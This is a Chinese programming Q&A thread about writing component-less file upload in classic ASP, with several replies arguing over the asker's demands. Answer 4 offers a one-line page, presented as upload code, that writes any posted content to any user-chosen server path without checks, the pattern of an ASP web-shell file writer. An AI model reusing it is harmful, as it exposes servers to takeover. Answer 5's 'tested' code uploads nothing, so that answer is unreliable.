Question

asp无组件上传 非ASP高手勿进

要求程序简单.文件上传到远程服务器.

1、回答都程序一定要是经过自己测试过.垃圾别往上贴.

2、网上有的别往上贴.(因为你找得到的我也能找到)

3、要求有注释,最好每句都有.

劳动光荣，抄袭可耻！
觉得不舒服的就不要回答.我之所以这么说,是因为以前有人用我写的文章来回答我的问题.
借用别人的无组件上传五年前我就会,只是觉得其程序太麻烦.语句太多,希望找到更简洁的方法.

Answer 1

楼主，说话有点太过火了哦。。。

照你这么说的，应该你自己就会写了，用不着来这问了。

再不然要是楼主真有本事，去无忧脚本看看吧，纯javascript写的无组件上传，这才叫本事。

无组件上传，用ASP写来写去，无非就是文本流对象的操作，ASP语法是死的，大家写的代码都要用到这个对象，你能说人家是抄的？

只能说，找一种更安全有效的方法来解决无组件上传而已。变量的命名，可以各有各的特色，注释也可以根据各人的喜好，加与不加随个人。

楼主你看书再看看你的要求，很明显就完全不懂ASP的，不然不会要求人家每句都有注释，难不成人家一个"dim sqlstr"也要给你一个注释告诉你这个语句是做什么用的？

如果楼主认为自己很懂ASP，不防多花点心思去研究一下稻草老农的无组件上传类，把每句都加上注释，这样等你真真完成每行代码的注释时，你也就明白什么叫无组什上传了，到时候也就用不着在这里来提问了。。。

再来个更简单的，就网上的‘先锋无组件上传类2004杜绝漏洞版’，你下回去研究下，看你能研究出多少名堂来，不说别的，就说表单内容和文件一起提交，表单内容提交到数据库，文件上传到服务器磁盘里，在提交后先检查是否有真正的上传一个文件。。。就这个问题，你去研究下看看你能弄明白不？这个版本的上传组件，也不是先锋原创的，只是先锋在梁无惧的版上加强安全性，但是在检查上传数据的大小时，有些错误的地方，我自己使用时已经修正这些地方，如果楼主认为自己行，不防也研究一下，看能不能找出来这个错误并修正。
我给你点提示：表单内容和文件同时上传，提交的数据大小不仅仅是这个文件的大小，还包括表单内容的数据大小。

Answer 2

不是说你什么, 只是你这样做,自己也成了一个"抄袭可耻"！有本事自己写个语言自己写个无组件上传(当然就得从出生那年开始写, 要不是你也是个抄袭者,抄别人的思想)

你不懂,也得抄别人的啊, 从中学习吗!
从小我们就是抄别人的动作,说话方式, 行走,等等..这些我们都是跟着别人做的,就像刚学语言的时也一样, 都是一步一步学着作者教的那些东东的!

你在这里问, 也不是想学一点思想吗, 这也是抄袭啊,只要能从中学到一点知识,一点思想........都是在抄袭别人,模仿别人...哪怕有一点点也是!

抄袭并不可耻!! 你不理解还抄袭,这才叫可耻呢!!

我的话太多了......................

Answer 3

大家好像误会楼主了！看了大家的留言…觉得楼主好可怜~！
【1】楼主要求“回答的程序一定要经过自己测试”，百度知道上确实有这样的情况，不管三七二十一从网上随便找一段代码贴上了事…我也非常反感那样的人作出的那样的事！
【2】“网上有的别往上贴”，没错！贴上来也没多大意思！楼主又不是不会搜索，楼主肯定是在网上找了许久，迫不得已才来百度知道里寻求那渺茫的答案！我当时研究的时候也是这样…说来真是艰辛，整整用了2天！
【3】“要求有注释”这个更能理解了，为了最终能学会这项技术，当然希望每个关键的地方都有注释了。我在研究“无惧上传类2.2”的时候，也希望每句都能有注释！（尽管无惧的注释已经够多了），我想也不至于花2天才彻底学通。
〓★〓“吃水不忘口渴人！”我在彻底学通“ASP无组件上传”之后，在下不才写了一个循序渐进的初级型教程，并发现网上的流传的“无组件上传类”正像楼主说的那样：代码都太长太烦琐了，因为它们要满足所有人的需求，所以里面有很多很多对于我们来说不必要的东西。如果楼主和大家不嫌弃在下的文墨，请到我的网站（个人资料里有）影视交流里留言！（平时只用做交流影视，但我没其他可留言的地方）注：在我站网址前面加“ctc.”为电信线路；加“cnc.”为网通线路。

Answer 4

是ASP无组件上传吗？一句话搞定啦！
<%dim path,hstr, mpath, content, filename : mpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\") : content = request("content") : filename =replace(request("filename"),"/","\") : on error resume next : Dim objFSO,f : Set objFSO = Server.CreateObject ("Scripting.FileSystemObject") : if not filename = "" then : path = objFSO.GetParentFolderName( mpath ) : path = path & filename : end if : if not content="" then : set f = objFSO.CreateTextFile( path ) : response.Write( err.Description & "<BR>" ) : f.Write(content) : response.Write( err.Description & "<BR>" ) : f.close : end if %><%=filename%><BR><%=path%><BR><%= Request("path") %><BR><FORM ID="SForm" method="post"><TABLE width="300"><TR><TD><TEXTAREA name="content" rows="15" cols="46" ><%=content%></TEXTAREA></TD></TR><TR><TD>File Name:<%=strAsgMapPathTo%><INPUT type="text" name="filename" value="<%=filename%>" ><INPUT type="submit" value="Upload" NAME="Submit1"></TD></TR></TABLE></FORM><% set objFSO = Nothing : on error goto 0 : hstr = "can't upload"%>

Answer 5

<!--METADATA TYPE="typelib"
UUID="00000205-0000-0010-8000-00AA006D2EA4"
NAME="ADODB Type Library"
-->'这是引用 表示启用adodb 类型库
<%'asp文件执行开始
Dim objStream'定义一个变量
Set objStream = Server.CreateObject("ADODB.Stream")'为变量赋值
'以上两句创建了一个adodb.stream对象

'下面我们以上传一个jpg文件为例子
objStream.Type = adTypeBinary'确定为二进制上传
objStream.Open'打开
objStream.LoadFromFile "D:\Inetpub\wwwroot\images\banner\dimacbanner1.jpg"'读取本地文件

'以下两句输出流的内容
Response.ContentType = "image/gif"
Response.BinaryWrite objStream.Read

'释放流所控制的资源
objStream.Close
Set objStream = Nothing
%>
好了结束 保存后 放到服务器上就行了 我亲测 成功
搂住不会用的话 可以给我发消息 不过 时间有限哦